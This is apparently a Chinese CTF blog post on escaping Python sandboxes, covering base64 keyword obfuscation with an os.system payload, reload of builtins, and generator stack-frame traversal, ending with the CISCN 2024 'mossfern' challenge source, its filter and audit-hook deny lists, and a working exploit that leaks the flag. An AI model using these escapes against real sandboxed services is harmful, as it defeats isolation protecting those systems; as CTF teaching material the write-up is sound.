python沙箱逃逸

Last updated on September 27, 2024 am

介绍

python的沙箱就是去模拟python的终端运行代码,为了使运行后的结果不影响当前的程序。通常是写好了一个模板(只能执行特定的功能),然后要运行时把输入的东西写入模板然后创建新的模板文件(python文件)在一个目录下运行(相当于一个沙箱),获得结果之后就把这个新的模板文件删除掉。沙箱逃逸就是为了使得能够在沙箱中通过某种绕过的方式,从模拟的沙箱环境中逃逸出来,从而实现执行系统命令等攻击操作。

方法

利用元素链进行绕过

过滤

参照SSTI

可以转换成SSTI用fenjing绕过

base64编码

对关键字进行base64编码可绕过一些明文检测机制:

1
2
3
4
5
import base64
base64.b64encode('__import__') #'X19pbXBvcnRfXw=='
base64.b64encode('os') #'b3M='
__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('calc')
0
reload()方法

如果某个方法被题目删除了,可以通过reload重新加载

1
reload(__builtins__)

利用栈帧沙箱逃逸

生成器

生成器(Generator)是 Python 中一种特殊的迭代器,它可以通过简单的函数和表达式来创建。生成器的主要特点是能够逐个产生值,并且在每次生成值后保留当前的状态,以便下次调用时可以继续生成值。这使得生成器非常适合处理大型数据集或需要延迟计算的情况。

在 Python 中,生成器可以使用 yield 关键字来定义。yield 用于产生一个值,并在保留当前状态的同时暂停函数的执行。当下一次调用生成器时,函数会从上次暂停的位置继续执行,直到遇到下一个 yield 语句或者函数结束。

yield 使用例子

1
2
3
4
5
6
7
8
9
def f():
a=1
while True:
yield a
a+=1
f=f()
print(next(f)) #1
print(next(f)) #2
print(next(f)) #3

生成器表达式

很像列表,但这里是圆括号

1
a=(i+1 for i in range(100)) 

栈帧(frame)

在 Python 中,栈帧(stack frame),也称为帧(frame),是用于执行代码的数据结构。每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。这些栈帧会按照调用顺序被组织成一个栈,称为调用栈。

栈帧包含了以下几个重要的属性:
f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。
f_globals: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。
f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
f_lasti: 整数,表示最后执行的字节码指令的索引。
f_back: 指向上一级调用栈帧的引用,用于构建调用栈。

https://docs.python.org/zh-cn/3/reference/datamodel.html#frame-objects

代码对象

https://docs.python.org/zh-cn/3/reference/datamodel.html#code-objects

f_code既然可以获得代码对象,那就可以利用代码对象的一些属性来读一些重要的信息,比如co_consts能够获取一个包含函数中的 bytecode 所使用的字面值的 tuple,这个可以读到文件中很多的内容。

利用

原理就是通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals全局符号表

正常没在沙箱中的情况

1
2
3
4
5
6
7
8
9
10
11
s3cret="this is flag"
def test():
def f():
yield g.gi_frame

g = f() #生成器
frame = next(g) #获取到生成器的栈帧对象
b = frame.f_globals['s3cret'] #返回并获取前一级栈帧的globals
return b
print(test())
#this is flag

在沙箱中运行的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
s3cret="this is flag"

codes='''
def waff():
def f():
yield g.gi_frame.f_back

g = f() #生成器
frame = next(g) #获取到生成器的栈帧对象
b = frame.f_back.f_back.f_globals['s3cret'] #返回并获取前一级栈帧的globals,也可以 b = frame.f_back.f_back.f_locals['s3cret']
return b
b=waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)
print(locals["b"])

f_back多少次得自己试了(不知道怎么算的)

next函数被过滤时可以用[x for x in g][0]绕过

例子

CISCN 2024 mossfern

运行后沙箱的样子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
def source_simple_check(source):
"""
Check the source with pure string in string, prevent dangerous strings
:param source: source code
:return: None
"""

from sys import exit
from builtins import print

try:
source.encode("ascii")
except UnicodeEncodeError:
print("non-ascii is not permitted")
exit()

for i in ["__", "getattr", "exit"]: #过滤
if i in source.lower():
print(i)
exit()


def block_wrapper():
"""
Check the run process with sys.audithook, no dangerous operations should be conduct
:return: None
"""

def audit(event, args):

from builtins import str, print
import os

for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
os._exit(1)
return audit


def source_opcode_checker(code):
"""
Check the source in the bytecode aspect, no methods and globals should be load
:param code: source code
:return: None
"""

from dis import dis
from builtins import str
from io import StringIO
from sys import exit

opcodeIO = StringIO()
dis(code, file=opcodeIO)
opcode = opcodeIO.getvalue().split("\n")
opcodeIO.close()
for line in opcode:
if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
break
print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
exit()


if __name__ == "__main__":

from builtins import open
from sys import addaudithook
from contextlib import redirect_stdout
from random import randint, randrange, seed
from io import StringIO
from random import seed
from time import time

source = open(f"./uploads/a179049a-1596-11ef-85cf-f09e4acd3f25.txt", "r").read()
source_simple_check(source)
source_opcode_checker(source)
code = compile(source, "<sandbox>", "exec") #编译
# addaudithook(block_wrapper())
outputIO = StringIO()
with redirect_stdout(outputIO):
seed(str(time()) + "flag111" + str(time()))
exec(code, {
"__builtins__": None,
"randint": randint,
"randrange": randrange,
"seed": seed,
"print": print
}, None)
output = outputIO.getvalue()

if "flag111" in output:
print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!")
print("bad code-operation why still happened ah?")
else:
print(output)

exp

1
2
3
4
5
6
7
8
9
10
11
def waff():
def f():
yield g.gi_frame.f_back
g = f()
frame = [x for x in g][0]
runner_frame = frame.f_back.f_back.f_back
str=runner_frame.f_globals["_"+"_bui"+"ltins_"+"_"].str
code=runner_frame.f_code.co_consts
for i in str(code):
print(i,end=',')
waff()

参考

https://www.mi1k7ea.com/2019/05/31/Python沙箱逃逸小结/

https://xz.aliyun.com/t/13635


本文作者: fru1ts
本文链接: https://fru1ts.github.io/2024/05/22/python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!